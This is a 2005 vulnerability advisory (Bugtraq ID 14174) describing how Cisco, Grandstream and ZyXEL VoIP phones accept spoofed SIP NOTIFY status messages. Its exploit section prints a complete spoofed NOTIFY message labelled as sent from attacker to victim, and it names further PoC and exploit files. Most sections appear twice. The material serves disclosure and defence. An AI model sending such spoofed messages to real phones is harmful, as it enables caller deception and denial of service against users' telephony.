Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
BID:14174
Info
Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
| Bugtraq ID: | 14174 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 06 2005 12:00AM |
| Updated: | Jul 06 2005 12:00AM |
| Credit: | Discovery is credited to Tobias Glemser <[email protected]>. Javor Ninov <[email protected]> reported that this issue affects ZyXEL. |
| Vulnerable: |
ZyXEL Prestige 2000W VoIP Wi-Fi Phone ZyXEL Prestige 2000W Grandstream BudgeTone 100 Cisco VoIP Phone CP-7960 3.2 Cisco VoIP Phone CP-7960 3.1 Cisco VoIP Phone CP-7960 3.0 Cisco VoIP Phone CP-7940 3.2 Cisco VoIP Phone CP-7940 3.1 Cisco VoIP Phone CP-7940 3.0 |
| Not Vulnerable: | |
Discussion
Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
Multiple Vendor VoIP Phones handle spoofed SIP status messages in an improper manner. This issue could potentially lead a to a denial of service condition against a server.
The issue arises because the affected phones do not verify the 'Call-ID', 'tag' and 'branch' headers of NOTIFY messages and process spoofed status messages instead of rejecting the messages.
Cisco 7940 and 7960 and Grandstream BT 100 phones are affected by this issue. Other vendors may be vulnerable as well.
Multiple Vendor VoIP Phones handle spoofed SIP status messages in an improper manner. This issue could potentially lead a to a denial of service condition against a server.
The issue arises because the affected phones do not verify the 'Call-ID', 'tag' and 'branch' headers of NOTIFY messages and process spoofed status messages instead of rejecting the messages.
Cisco 7940 and 7960 and Grandstream BT 100 phones are affected by this issue. Other vendors may be vulnerable as well.
Exploit / POC
Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
An exploit is not required.
The following proof of concept example is available:
UDP-Message from Attacker to Victim
Session Initiation Protocol
Request-Line: NOTIFY sip:[email protected] SIP/2.0
Message Header
Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
From: "asterisk" <sip:[email protected]>;tag=000000000
To: <sip:[email protected]>
Contact: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 102 NOTIFY
User-Agent: Asterisk PBX
Event: message-summary
Content-Type: application/simple-message-summary
Content-Length: 37
Message body
Messages-Waiting: yes\n
Voicemail: 3/2\n
A proof of concept (SIP_NOTIFY_POC.pl) has been supplied by <[email protected]>.
Tobias Glemser <[email protected]> has provided an exploit (snf.zip) as well:
An exploit is not required.
The following proof of concept example is available:
UDP-Message from Attacker to Victim
Session Initiation Protocol
Request-Line: NOTIFY sip:[email protected] SIP/2.0
Message Header
Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
From: "asterisk" <sip:[email protected]>;tag=000000000
To: <sip:[email protected]>
Contact: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 102 NOTIFY
User-Agent: Asterisk PBX
Event: message-summary
Content-Type: application/simple-message-summary
Content-Length: 37
Message body
Messages-Waiting: yes\n
Voicemail: 3/2\n
A proof of concept (SIP_NOTIFY_POC.pl) has been supplied by <[email protected]>.
Tobias Glemser <[email protected]> has provided an exploit (snf.zip) as well:
Solution / Fix
Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness
References:
References:
- Cisco 7900 Series IP Phones (Cisco)
- Grandstream BudgeTone 100 series SIP Phones (Grandstream)
- Re: VoIP-Phones: Weakness in proccessing SIP-Notify-Messages (Javor Ninov
) - VoIP-Phones: Weakness in proccessing SIP-Notify-Messages (Tobias Glemser
)